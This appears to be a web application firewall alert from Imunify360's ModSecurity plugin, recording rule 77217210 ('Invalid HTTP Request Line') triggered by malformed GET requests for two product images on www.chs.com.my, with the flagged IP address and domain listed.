IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M1351-LAUNDERS-AND-LAMELLA-PLATE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.99.11
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0101-CASTING-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


